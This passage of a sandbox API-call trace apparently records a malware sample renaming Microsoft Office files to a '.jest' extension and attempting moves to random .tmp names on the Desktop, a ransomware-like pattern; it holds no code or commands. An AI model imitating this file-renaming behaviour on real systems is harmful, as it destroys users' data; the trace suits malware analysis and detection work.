Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis.css.jest")) returned 1 [0162.668] GetLastError () returned 0x0 [0162.668] VarBstrFromR4 (in: fltIn=0x47945629, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.32") returned 0x0 [0162.669] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\PODHs0AKcn_tiUND9A83Z9fUi_Nok2qKgeoI0J0KZKuyM NV nNIHs5Yn8bMqXecrKqJOHqWr6j8yly GcOBWcbKZjvKgQvpB73yy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\podhs0akcn_tiund9a83z9fui_nok2qkgeoi0j0kzkuym nv nnihs5yn8bmqxecrkqjohqwr6j8yly gcobwcbkzjvkgqvpb73yy.tmp")) returned 0 [0162.669] GetLastError () returned 0x2 [0162.669] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.670] GetLastError () returned 0x0 [0162.670] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.670] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\olivegreen.css.jest")) returned 1 [0162.671] GetLastError () returned 0x0 [0162.672] VarBstrFromR4 (in: fltIn=0x4794562b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.34") returned 0x0 [0162.673] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\THiIii897v9dCeqC3AxRlzSg20EDwYeX SjofCkkU6kd47Bw849wpcGSDq7sOydhEbY4K0iQZgt_Pl3LA6F-w_3r8kiOtnE_SbFBQ.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\thiiii897v9dceqc3axrlzsg20edwyex sjofckku6kd47bw849wpcgsdq7soydheby4k0iqzgt_pl3la6f-w_3r8kiotne_sbfbq.tmp")) returned 0 [0162.673] GetLastError () returned 0x2 [0162.673] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.673] GetLastError () returned 0x0 [0162.673] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.674] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml.jest")) returned 1 [0162.677] GetLastError () returned 0x0 [0162.678] VarBstrFromR4 (in: fltIn=0x4794562b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.34") returned 0x0 [0162.678] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\GrooveMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\groovemui.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\rw2Fx50Sx2lsqQOwuX Ew6GSUcKPANXlKhylu8neDXAVJpVr624T75G0KHJM5 _1OFtnL6ifzx79sIud5BtD4VNcroTHw6_zBkuG.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\rw2fx50sx2lsqqowux ew6gsuckpanxlkhylu8nedxavjpvr624t75g0khjm5 _1oftnl6ifzx79siud5btd4vncrothw6_zbkug.tmp")) returned 0 [0162.679] GetLastError () returned 0x2 [0162.679] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.679] GetLastError () returned 0x0 [0162.679] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.680] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\premium.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\premium.css.jest")) returned 1 [0162.681] GetLastError () returned 0x0 [0162.681] VarBstrFromR4 (in: fltIn=0x4794562b, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.34") returned 0x0 [0162.682] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\premium.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\LgOJ-4_8bxTc7UbEPEYUc0bfl OBm5Av_HrQDuUooMNsQRd3Lxlli3h11xSj_ M3JCjBVKmbxm05LJlutZ1nwfSx685f9o8b04T.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\lgoj-4_8bxtc7ubepeyuc0bfl obm5av_hrqduuoomnsqrd3lxlli3h11xsj_ m3jcjbvkmbxm05ljlutz1nwfsx685f9o8b04t.tmp")) returned 0 [0162.682] GetLastError () returned 0x2 [0162.683] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.683] GetLastError () returned 0x0 [0162.683] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.684] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML.jest" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml.jest")) returned 1 [0162.685] GetLastError () returned 0x0 [0162.686] VarBstrFromR4 (in: fltIn=0x4794562d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.35") returned 0x0 [0162.687] MoveFileA (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Groove.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\groove.en-us\\setup.xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\Hbw_MIKYUDCG547 N5G9pzjHq6AKwR7_RZyWwLkpyRFjJcBJIw0gjeKFVvV19vgUodwjxzWv3vyMRpxvVezWZ GFs0a9uszF6TBGi.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\hbw_mikyudcg547 n5g9pzjhq6akwr7_rzywwlkpyrfjjcbjiw0gjekfvvv19vguodwjxzwv3vymrpxvvezwz gfs0a9uszf6tbgi.tmp")) returned 0 [0162.687] GetLastError () returned 0x2 [0162.688] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.688] GetLastError () returned 0x0 [0162.688] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.688] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate.css.jest")) returned 1 [0162.690] GetLastError () returned 0x0 [0162.690] VarBstrFromR4 (in: fltIn=0x4794562d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.35") returned 0x0 [0162.691] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\3JWSsvhSGJITo_ZBU7ikOIOnGj0o-QYBY4B4fSCRyvlHxWplINrEi-9HQQx6XwYEXlkk7nonUrUrmG35aNcGrrcMOvK -F5W1qCy.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\3jwssvhsgjito_zbu7ikoiongj0o-qyby4b4fscryvlhxwplinrei-9hqqx6xwyexlkk7nonururmg35ancgrrcmovk -f5w1qcy.tmp")) returned 0 [0162.691] GetLastError () returned 0x2 [0162.692] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.692] GetLastError () returned 0x0 [0162.692] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.693] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slateblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SlateBlue.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slateblue.css.jest")) returned 1 [0162.695] GetLastError () returned 0x0 [0162.695] VarBstrFromR4 (in: fltIn=0x4794562d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.35") returned 0x0 [0162.696] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SlateBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slateblue.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\E_w9WQQylbloBC4RMexx8kHQK5EFROIC2AtRRo IKouRgdfQxWyIfwR3zBIIG22WTZrfczXh7u-GIw_ lE03oUQfsQLDr4nZBA-Y.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\e_w9wqqylblobc4rmexx8khqk5efroic2atrro ikourgdfqxwyifwr3zbiig22wtzrfczxh7u-giw_ le03ouqfsqldr4nzba-y.tmp")) returned 0 [0162.696] GetLastError () returned 0x2 [0162.697] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.697] GetLastError () returned 0x0 [0162.697] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.697] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue.css.jest")) returned 1 [0162.699] GetLastError () returned 0x0 [0162.699] VarBstrFromR4 (in: fltIn=0x4794562d, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.35") returned 0x0 [0162.700] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\SoftBlue.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\softblue.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\GHPL7So-T2x2cZ9QVlLSIdM0yvpHCbDYPkqmhCKpglt-_Q96w_vd9cXDsutQVTmPCpWijbzF07QtuXMEI0XO7-gpBcQLUDG8WF vb.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ghpl7so-t2x2cz9qvllsidm0yvphcbdypkqmhckpglt-_q96w_vd9cxdsutqvtmpcpwijbzf07qtuxmei0xo7-gpbcqludg8wf vb.tmp")) returned 0 [0162.700] GetLastError () returned 0x2 [0162.701] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.701] GetLastError () returned 0x0 [0162.701] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.701] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions.css.jest")) returned 1 [0162.703] GetLastError () returned 0x0 [0162.704] VarBstrFromR4 (in: fltIn=0x4794562f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.37") returned 0x0 [0162.705] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\cgW9lPjqbXKQvjjczszafNqrmxSK7Ymtd9uAc3tarjcohBImUFAmk0IyLIv7KxTKo4M Vtp1QHzbeGMiS2l7JVmWQgLk XDhM36M.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\cgw9lpjqbxkqvjjczszafnqrmxsk7ymtd9uac3tarjcohbimufamk0iyliv7kxtko4m vtp1qhzbegmis2l7jvmwqglk xdhm36m.tmp")) returned 0 [0162.705] GetLastError () returned 0x2 [0162.705] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.705] GetLastError () returned 0x0 [0162.705] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.706] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\arrow.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\arrow.png.jest")) returned 1 [0162.709] GetLastError () returned 0x0 [0162.709] VarBstrFromR4 (in: fltIn=0x4794562f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.37") returned 0x0 [0162.710] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\arrow.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\arrow.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\zxMZiixzo2v1Qn0juw5ynuJdklmfy-kFAEVIAlcFxITJEkjwIJUqAk2NwqbQllX2f-8fR4gCQPASq6O2BAdAwP2Iy8uw2YWVsiWl .tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\zxmziixzo2v1qn0juw5ynujdklmfy-kfaevialcfxitjekjwijuqak2nwqbqllx2f-8fr4gcqpasq6o2badawp2iy8uw2ywvsiwl .tmp")) returned 0 [0162.711] GetLastError () returned 0x2 [0162.711] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.711] GetLastError () returned 0x0 [0162.711] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.712] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Doc.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_doc.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Doc.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_doc.css.jest")) returned 1 [0162.713] GetLastError () returned 0x0 [0162.713] VarBstrFromR4 (in: fltIn=0x4794562f, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.37") returned 0x0 [0162.714] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Doc.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_doc.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\C467FqVdrY-kdvJ2qUODP-tcl0QhM1XfTn0RjIv0Rt5BY6XdHY-ehQ_2FFVycpTYg9esFXCqf2gH86eoA0JRE9BFUkdw_UFy8k4w3.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\c467fqvdry-kdvj2quodp-tcl0qhm1xftn0rjiv0rt5by6xdhy-ehq_2ffvycptyg9esfxcqf2gh86eoa0jre9bfukdw_ufy8k4w3.tmp")) returned 0 [0162.714] GetLastError () returned 0x2 [0162.715] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.715] GetLastError () returned 0x0 [0162.715] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.716] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Generic.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_generic.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Generic.css.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_generic.css.jest")) returned 1 [0162.717] GetLastError () returned 0x0 [0162.717] VarBstrFromR4 (in: fltIn=0x47945631, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.38") returned 0x0 [0162.718] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions_Generic.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions_generic.css"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\R51hbqj7gT KYbzMgb_mCC7Zc4WA5Q2He9kgC6bQgK yKE-bJT-gKjvZBDc5PJLRDIJG2H_VHDuhJs2UWQmdOExAML2Wzv-nvIyME.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\r51hbqj7gt kybzmgb_mcc7zc4wa5q2he9kgc6bqgk yke-bjt-gkjvzbdc5pjlrdijg2h_vhduhjs2uwqmdoexaml2wzv-nviyme.tmp")) returned 0 [0162.718] GetLastError () returned 0x2 [0162.719] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 [0162.719] GetLastError () returned 0x0 [0162.719] SafeArrayAllocDescriptorEx (in: vt=0x11, cDims=0x1, ppsaOut=0x18eb2c | out: ppsaOut=0x18eb2c) returned 0x0 [0162.719] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\gradient.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\gradient.png"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\gradient.png.jest" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\gradient.png.jest")) returned 1 [0162.720] GetLastError () returned 0x0 [0162.721] VarBstrFromR4 (in: fltIn=0x47945631, lcid=0x409, dwFlags=0x0, pbstrOut=0x18ea48 | out: pbstrOut=0x18ea48*="75948.38") returned 0x0 [0162.722] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Solutions\\gradient.png" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\solutions\\gradient.png"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\yIrm4qk3dltgSKb5uWpCS-XQll0IAJQ1mg3fSlE-h4mE08bTkKI2e-0PWq-7G9x4pRWz8hVr2Xzpw90PiioYgIvBSbOQNTmtSUlV.tmp" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\yirm4qk3dltgskb5uwpcs-xqll0iajq1mg3fsle-h4me08btkki2e-0pwq-7g9x4prwz8hvr2xzpw90piioygivbsboqntmtsulv.tmp")) returned 0 [0162.722] GetLastError () returned 0x2 [0162.722] NtCreateFile (in: FileHandle=0x18eb34, DesiredAccess=0x80, ObjectAttributes=0x18eb14*(Length=0x18, RootDirectory=0x2e4, ObjectName="", Attributes=0x40, SecurityDescriptor=0x0, SecurityQualityOfService=0x0), IoStatusBlock=0x18eb08, AllocationSize=0x0, FileAttributes=0x0, ShareAccess=0x7, CreateDisposition=0x1, CreateOptions=0x2000, EaBuffer=0x0, EaLength=0x0 | out: FileHandle=0x18eb34*=0x150, IoStatusBlock=0x18eb08*(Status=0x0, Pointer=0x0, Information=0x1)) returned 0x0 